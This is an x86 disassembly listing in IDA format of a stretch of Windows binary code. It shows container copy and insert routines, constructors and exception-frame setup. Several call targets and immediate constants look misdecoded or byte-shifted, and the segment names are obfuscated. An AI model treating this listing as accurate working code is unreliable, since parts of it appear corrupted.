		push	1D169h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset loc_40E8B4
		call	dword ptr ds:20745Ah
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		call	dword ptr ds:503A2Dh
		lea	edx, [esp+14h]
		push	681D16h
		push	edx
		call	sub_430382
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A530	proc near		; CODE XREF: sub_4011C7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_430332
		pop	ecx
		retn	8
sub_40A530	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A550	proc near		; CODE XREF: sub_40137Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40A61B
		mov	ecx, esi
		call	sub_4011D1
		cmp	edi, eax
		jnb	short loc_40A583
		mov	ecx, esi
		call	sub_4011D1
		mov	ebp, eax
		jmp	short loc_40A585
; ---------------------------------------------------------------------------


loc_40A583:				; CODE XREF: sub_40A550+26j
		mov	ebp, edi


loc_40A585:				; CODE XREF: sub_40A550+31j
		mov	ecx, esi
		call	sub_4011D1
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CA3
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010B9
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401FE6
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010B9
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4018CA
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011C7
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011D1
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A61B:				; CODE XREF: sub_40A550+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40A679
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010B9
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401FE6
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401D34
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A679:				; CODE XREF: sub_40A550+D8j
		test	edi, edi
		jbe	short loc_40A6B3
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010B9
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401F37
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401D34
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40A6B3:				; CODE XREF: sub_40A550+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40A550	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A720	proc near		; CODE XREF: sub_4017E4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40A720	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A740	proc near		; CODE XREF: sub_4010B9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40A772
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40A756:				; CODE XREF: sub_40A740+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_401F96
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40A756
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A772:				; CODE XREF: sub_40A740+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40A740	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A790	proc near		; CODE XREF: sub_401FE6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40A7B7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40A7A6:				; CODE XREF: sub_40A790+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_401F96
		add	esi, 4
		dec	edi
		jnz	short loc_40A7A6
		pop	esi
		pop	ebx


loc_40A7B7:				; CODE XREF: sub_40A790+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40A790	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7D0	proc near		; CODE XREF: sub_401CA3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401474
		add	esp, 8
		retn	8
sub_40A7D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A800	proc near		; CODE XREF: sub_401F96j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401CBC
		add	esp, 8
		retn	8
sub_40A800	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A830	proc near		; CODE XREF: sub_401D34j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40A84D
		mov	edx, [esp+arg_8]
		push	esi


loc_40A841:				; CODE XREF: sub_40A830+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40A841
		pop	esi

locret_40A84D:				; CODE XREF: sub_40A830+Aj
		retn
sub_40A830	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A860	proc near		; CODE XREF: sub_401F37j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40A882
		mov	eax, [esp+arg_8]
		push	esi


loc_40A871:				; CODE XREF: sub_40A860+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40A871
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40A882:				; CODE XREF: sub_40A860+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40A860	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
byte_40A890	db 10h dup(0CCh)	; DATA XREF: _5AD6BD6B:0043D56Co
					; _5AD6BD6B:0043D5B0o ...
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_401474j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40A8CA
		xor	eax, eax


loc_40A8CA:				; CODE XREF: sub_40A8C0+6j
		shl	eax, 2
		push	eax
		call	sub_43034A
		add	esp, 4
		retn
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_401CBCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011A4
		add	esp, 8
		test	eax, eax
		jz	short locret_40A90B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40A90B:				; CODE XREF: sub_40A8F0+11j
		retn
sub_40A8F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A920	proc near		; CODE XREF: sub_401D2Fj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_437014
		retn
sub_40A920	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A940:				; CODE XREF: _294ADE7B:0040167Cj
					; _294ADE7B:loc_401EC4j
		push	esi
		mov	esi, ecx
		call	sub_401EC9
		test	byte ptr [esp+8], 1
		jz	short loc_40A958
		push	esi
		call	sub_430332
		add	esp, 4


loc_40A958:				; CODE XREF: _294ADE7B:0040A94Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A970	proc near		; CODE XREF: sub_401EC9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	740E8Bh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_437014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_4016A4
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40A970	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A9B2	proc near		; DATA XREF: _8C6BDE73:004380CCo
		mov	ecx, 740E8h
		retn
sub_40A9B2	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9E0	proc near		; CODE XREF: sub_401460j
		call	sub_401672
		jmp	sub_4016F9
sub_40A9E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AA00	proc near		; CODE XREF: sub_401A2Dj
		call	sub_4015A0
		jmp	sub_401708
sub_40AA00	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AA20	proc near		; CODE XREF: sub_40137Fj
		push	esi
		mov	esi, ecx
		push	esi
		push	0BA074h
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40120D
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AA42
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AA42:				; CODE XREF: sub_40AA20+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AA20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AA60:				; CODE XREF: _294ADE7B:0040119Aj
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AA87
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_4016B8
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40AA87:				; CODE XREF: _294ADE7B:0040AA69j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AAA0	proc near		; CODE XREF: sub_4016A4j
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AABC
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_4016B3
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40AABC:				; CODE XREF: sub_40AAA0+8j
		pop	esi
		retn
sub_40AAA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AAD0:				; CODE XREF: _294ADE7B:004011CCj
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AAF0:				; CODE XREF: _294ADE7B:004013CAj
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset word_45D03A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		call	dword ptr [eax+4]
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AB31:				; DATA XREF: _8C6BDE73:0043812Co
		mov	edi, 0AC5D03h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AB60	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40ABA2
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_402004
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_40104B
		add	esp, 18h


loc_40ABA2:				; CODE XREF: sub_40AB60+Bj
		pop	esi
		add	esp, 8
		retn
sub_40AB60	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABD0	proc near		; CODE XREF: sub_401C9Ej

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40ABF2
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_40104B
		add	esp, 0Ch


loc_40ABF2:				; CODE XREF: sub_40ABD0+6j
		pop	ecx
		retn
sub_40ABD0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AC10	proc near		; CODE XREF: sub_401915j

var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	562E81h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_401190
		lea	ecx, [esi+4]
		call	sub_4016A9
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_4016A9
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_4016A9
		lea	edi, [esi+8Eh]
		lea	eax, [esp+0Bh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401AF0
		mov	ecx, edi
		mov	byte ptr [esp+1Ch+var_4], 3
		mov	dword ptr [esi], offset	off_437020
		call	sub_401AEB
		mov	ecx, [esp+1Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
sub_40AC10	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACD0	proc near		; CODE XREF: sub_401A05j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	6B1740h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_437020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401AEB
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_4014EC
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+18h+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40ACD0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD70	proc near		; CODE XREF: sub_401730j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	758BA0h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401AEB
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4018DE
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_401726
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	edi, 8A758Bh
		call	sub_401523
		lea	ecx, [esp+40h+var_3C]
		mov	[esp+40h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+60h+var_3C]
		push	3
		push	edx
		call	sub_4018DE
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 1
		call	sub_401726
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, 28A758h
		call	sub_401523
		lea	ecx, [esp+40h+var_3C]
		mov	[esp+40h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+60h+var_24]
		push	3
		push	ecx
		call	sub_4018DE
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 2
		call	sub_401726
		add	esi, 60h
		push	eax
		push	esi
		mov	edx, offset byte_44A29D
		call	sub_401523
		mov	[esp+40h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+40h+var_24]
		call	sub_4011F9
		mov	ecx, [esp+40h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_40AD70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEF0	proc near		; CODE XREF: sub_401753j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401E65
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401E65
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401DED
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401E65
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_40182F
		pop	edi
		pop	esi
		retn	1Ch
sub_40AEF0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF90	proc near		; CODE XREF: sub_401A69j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	22514Eh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_4017A8
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_4017A8
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_4017A8
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_401753
		lea	ecx, [esp+60h+var_54]
		mov	byte ptr [esp+60h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+60h+var_24]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
sub_40AF90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B080	proc near		; CODE XREF: sub_4018F7j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_4014D3
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_4013FC
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401B54
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_401320
		test	al, al
		jz	short loc_40B101
		mov	edi, [esp+10h+arg_0]


loc_40B0C6:				; CODE XREF: sub_40B080+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401E10
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_40201D
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B10B
		call	sub_4012FD
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401B54
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_401320
		test	al, al
		jnz	short loc_40B0C6


loc_40B101:				; CODE XREF: sub_40B080+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B10B:				; CODE XREF: sub_40B080+60j
		call	sub_401E10
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B080	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B150:				; CODE XREF: _294ADE7B:00401401j
		push	0FFFFFFFFh
		push	1128A7h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_4017A8
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4018F7
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B1E0	proc near		; CODE XREF: sub_401528j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401564
		mov	ecx, esi
		call	sub_401726
		push	eax
		call	dword ptr ds:89453h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_401726
		push	eax
		call	dword ptr ds:44A29h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	22514h
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_40B231
		mov	byte ptr [esi+19h], 1


loc_40B231:				; CODE XREF: sub_40B1E0+4Bj
		pop	esi
		retn	8
sub_40B1E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B260	proc near		; CODE XREF: sub_401DEDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_401564
		mov	ecx, esi
		call	sub_401726
		push	eax
		call	dword_41128A
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_401726
		push	eax
		call	dword ptr ds:608945h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	7044A2h
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_40B2B5
		mov	byte ptr [esi+19h], 1


loc_40B2B5:				; CODE XREF: sub_40B260+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B260	endp

